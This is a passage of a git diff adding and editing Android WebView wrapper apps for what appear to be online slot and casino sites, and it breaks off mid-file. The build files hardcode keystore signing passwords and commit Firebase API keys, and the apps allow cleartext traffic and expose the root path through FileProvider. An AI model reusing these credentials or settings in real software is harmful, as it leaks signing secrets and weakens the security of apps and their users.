include ':RMcuci'//227
include ':audking98'//251
include ':WEBO98'//245
include ':GOI9AU'//312
include ':spinsini'//76
include ':7ERACLUB'//313

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'SG99LIVE')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "279"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 151
versionName "v1.5.1"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.asdaaaa.kaki33"
@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Slotkaki33')
buildConfigField "String", "BASE_URL", "\"https://slotkaki33.net/\""
buildConfigField "int", "USERID", "223"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
spinsini/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
spinsini/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "spinsini"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.company.spinsini"
//app大背景色
resValue('color', 'windows_color', '#FED802')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#FED802')
//app 名字
resValue('string', 'app_name', 'spinsini')
buildConfigField "int", "USERID", "76"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "887822206410",
"project_id": "spinsini",
"storage_bucket": "spinsini.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:887822206410:android:5766f02014422e0117fb33",
"android_client_info": {
"package_name": "com.company.spinsini"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBoEtTC3NZttQP8w9oQy-Ouhve6TZOLc4U"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
spinsini/justlet.jks Normal file

Binary file not shown.

32
spinsini/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
spinsini/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Telur33')
buildConfigField "String", "BASE_URL", "\"https://telur33b.com/\""
buildConfigField "int", "USERID", "100"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'TEST')
buildConfigField "String", "BASE_URL", "\"https://cosmojack.app/\""
buildConfigField "int", "USERID", "284"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
titanplayz/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
titanplayz/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "FlyDragon"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.sbadab.FlyDragon"
//app大背景色
resValue('color', 'windows_color', '#000000')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#000000')
//app 名字
resValue('string', 'app_name', 'FlyDragon')
buildConfigField "int", "USERID", "310"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "546127961982",
"project_id": "titanplayz-a2589",
"storage_bucket": "titanplayz-a2589.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:546127961982:android:7a3eaeeee14fb134519d2f",
"android_client_info": {
"package_name": "com.sbadab.FlyDragon"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyDTG90A20wZnkpFqez0Ohr7J-OnRMc9y-U"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
titanplayz/justlet.jks Normal file

Binary file not shown.

32
titanplayz/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
